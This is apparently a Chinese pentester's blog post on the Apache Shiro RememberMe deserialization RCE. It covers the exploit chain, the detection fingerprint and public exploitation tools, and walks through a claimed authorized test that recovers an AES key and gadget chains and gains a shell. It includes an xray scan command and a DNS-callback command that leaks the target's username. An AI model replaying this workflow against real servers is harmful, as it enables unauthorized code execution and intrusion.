Shiro的简介

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

1.1 漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
攻击过程则反之:生成恶意rememberMe Cookie值=>base64 解码 =>AES解密=>反序列化=>RCE

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
1.2 影响版本:Apache Shiro < 1.2.4
1.3 特征判断:返回包中包含rememberMe=deleteMe字段。
如果在请求包cookie中没有rememberMe,可以自行添加任意值
想要学习复现步骤可以参考 Bypass大佬的文章: https://www.cnblogs.com/xiaozi/p/13239046.html
这里只总结个人使用的工具

工具总结

目前手头上有三个工具,都是公开的工具。

1.shiroscan by svenbest

项目地址:https://github.com/sv3nbeast/ShiroScan
对应博客:http://www.svenbeast.com/post/tskRKJIPg/
该项目是斯文大佬写的,利用该工具可以直接检测目标站点是否存在反序列化漏洞,由于目前使用该工具仅仅能探测是否存在漏洞,所以在不需要打入内网的测试上使用的比较多,证明漏洞存在即可,具体使用可以参考大佬写的博客与项目中的readme。
检测是否存在漏洞非常方便:
image.png

2. ShiroExploit by feihong-cs / XRAY - chaitin / shiro回显工具 - 宽字节安全团队

项目地址:https://github.com/feihong-cs/ShiroExploit
项目地址:https://github.com/chaitin/xray/releases
项目地址:https://github.com/potats0/shiroPoc
第一个项目来自飞鸿大佬,图形化界面,在最新版本中,已经支持不需要判断目标系统来进行攻击。
对于某些判断使用了shiro框架,但是无法通过URL检测出漏洞的情况,可以选择复杂的http请求。
以下为对某个站点有授权的情况下,利用工具进行的实战,将通过多个工具组合利用。
在工具中填入目标地址IP
image.png
选择使用的检测方式 每种方式都在git主页中详细说明了,可以参考项目地址中的readme
image.png
在找到了key与可用的gadget之后 就可以利用该工具来进行命令执行或者写入shell啦,不过在这次测试中,webshell与cs的执行文件均因为不会免杀而失败告终
image.png
所以通过回显来进行下一步操作
[+] Find Valid Key: fCq+/xW488hMTCD+cmJ3aQ==
[+] Find Valid Gadget: CommonsBeanutils1
[+] Find Valid Gadget: CommonsCollections10
[+] Find Valid Gadget: CommonsCollections5
[+] Find Valid Gadget: CommonsCollections7
[+] Find Valid Gadget: CommonsCollections9
[+] Find Valid Gadget: CommonsCollections6

通过key与可用的gadgat来进行回显操作
image.png
然而失败了 不过既然找到了key与 gadget可以考虑别的方式来进行回显
比如 宽字节安全的burp插件
不过在这里也有同样的局限性,gadget无法匹配所以无法攻击
image.png
(400 是请求头过长OwO)
到了最后依然无法取得想要的结果,就只能掏出白嫖的xray搞基版
D:\tools\autoscan\xray_windows_amd64.exe webscan —plugins shiro —listen 127.0.0.1:6789 —html-output test123111.html
image.png
经过半根烟的时间,等到了那个心爱的提示
image.png
打开输出的文件拿到数据包 放入repeater中 隔壁的小哥看到shell都馋哭了
image.png
最后成功拿到了想要的shell 不过在过程中遇到了一个问题

问题总结

当目标系统为 winserver时

当目标系统为winserver时,通过 shiroscan 或者 shiroExploit ping %USERNAME%.dnslog.cn的时候,dns总是会解析到自己的电脑的主机名,这里留下一个坑有待解决。

填坑:
理论上这个问题在linux下一样,是因为%whoami%这个命令在本地就执行了,所需需要进行一下转义 \ 即可
image.png

拿到了key之后,工具中却缺少了gadget,也是一个很头疼的问题

image.png

最后,creeper?